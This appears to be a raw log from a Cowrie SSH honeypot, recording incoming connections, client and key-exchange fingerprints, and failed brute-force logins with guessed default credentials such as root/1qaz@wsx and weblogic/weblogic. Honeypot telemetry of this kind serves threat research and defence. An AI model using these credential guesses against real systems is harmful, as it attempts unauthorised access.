{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:14.239912Z","src_ip":"103.75.199.4","session":"358a84af0bac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:14.331470Z","src_ip":"103.75.199.4","session":"358a84af0bac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:14.605083Z","src_ip":"103.75.199.4","session":"358a84af0bac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:15.699322Z","src_ip":"103.75.199.4","session":"358a84af0bac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":58904,"dst_ip":"10.17.0.5","dst_port":22,"session":"c627deac2826","protocol":"ssh","message":"New connection: 94.154.34.232:58904 (10.17.0.5:22) [session: c627deac2826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:22.283778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:22.287491Z","src_ip":"94.154.34.232","session":"c627deac2826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:22.415842Z","src_ip":"94.154.34.232","session":"c627deac2826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g9q7jreo","password":".GxRJez2m1MHgY2j4lgG","message":"login attempt [g9q7jreo/.GxRJez2m1MHgY2j4lgG] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:22.927112Z","src_ip":"94.154.34.232","session":"c627deac2826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:24.050262Z","src_ip":"94.154.34.232","session":"c627deac2826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":45748,"dst_ip":"159.203.135.109","dst_port":22,"session":"fde85758340b","protocol":"ssh","message":"New connection: 103.75.199.4:45748 (159.203.135.109:22) [session: fde85758340b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:36.118377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:36.123592Z","src_ip":"103.75.199.4","session":"fde85758340b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:36.214938Z","src_ip":"103.75.199.4","session":"fde85758340b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:36.488506Z","src_ip":"103.75.199.4","session":"fde85758340b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:37.580936Z","src_ip":"103.75.199.4","session":"fde85758340b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:47.964518Z","src_ip":"115.29.34.90","session":"0ebbf2e4fad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":52428,"dst_ip":"159.203.135.109","dst_port":22,"session":"613ce6fe89d1","protocol":"ssh","message":"New connection: 103.75.199.4:52428 (159.203.135.109:22) [session: 613ce6fe89d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:58.002288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:58.008826Z","src_ip":"103.75.199.4","session":"613ce6fe89d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:58.104276Z","src_ip":"103.75.199.4","session":"613ce6fe89d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:58.377220Z","src_ip":"103.75.199.4","session":"613ce6fe89d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:59.470628Z","src_ip":"103.75.199.4","session":"613ce6fe89d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":46092,"dst_ip":"10.17.0.5","dst_port":22,"session":"834f89b6b0ee","protocol":"ssh","message":"New connection: 78.40.37.143:46092 (10.17.0.5:22) [session: 834f89b6b0ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:06.619050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:06.625177Z","src_ip":"78.40.37.143","session":"834f89b6b0ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:06.702238Z","src_ip":"78.40.37.143","session":"834f89b6b0ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"junior","password":"junior","message":"login attempt [junior/junior] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:07.039759Z","src_ip":"78.40.37.143","session":"834f89b6b0ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:08.119309Z","src_ip":"78.40.37.143","session":"834f89b6b0ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":60938,"dst_ip":"159.203.135.109","dst_port":22,"session":"95a188235b85","protocol":"ssh","message":"New connection: 103.75.199.4:60938 (159.203.135.109:22) [session: 95a188235b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:19.892366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:19.896836Z","src_ip":"103.75.199.4","session":"95a188235b85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:19.989711Z","src_ip":"103.75.199.4","session":"95a188235b85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:20.268404Z","src_ip":"103.75.199.4","session":"95a188235b85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:21.363931Z","src_ip":"103.75.199.4","session":"95a188235b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":49508,"dst_ip":"10.17.0.5","dst_port":22,"session":"69758bbbca4e","protocol":"ssh","message":"New connection: 94.154.34.232:49508 (10.17.0.5:22) [session: 69758bbbca4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:29.612085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:29.616811Z","src_ip":"94.154.34.232","session":"69758bbbca4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:29.739307Z","src_ip":"94.154.34.232","session":"69758bbbca4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teaspeak","password":"teaspeak","message":"login attempt [teaspeak/teaspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:30.265246Z","src_ip":"94.154.34.232","session":"69758bbbca4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:31.393189Z","src_ip":"94.154.34.232","session":"69758bbbca4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":38662,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9f27aec2436","protocol":"ssh","message":"New connection: 103.75.199.4:38662 (159.203.135.109:22) [session: a9f27aec2436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:41.806133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:41.811052Z","src_ip":"103.75.199.4","session":"a9f27aec2436","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:41.903057Z","src_ip":"103.75.199.4","session":"a9f27aec2436","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:42.177601Z","src_ip":"103.75.199.4","session":"a9f27aec2436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:40:43.272813Z","src_ip":"103.75.199.4","session":"a9f27aec2436","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":58694,"dst_ip":"159.203.135.109","dst_port":22,"session":"e135a3ac9a0f","protocol":"ssh","message":"New connection: 103.75.199.4:58694 (159.203.135.109:22) [session: e135a3ac9a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:03.744463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:03.749352Z","src_ip":"103.75.199.4","session":"e135a3ac9a0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],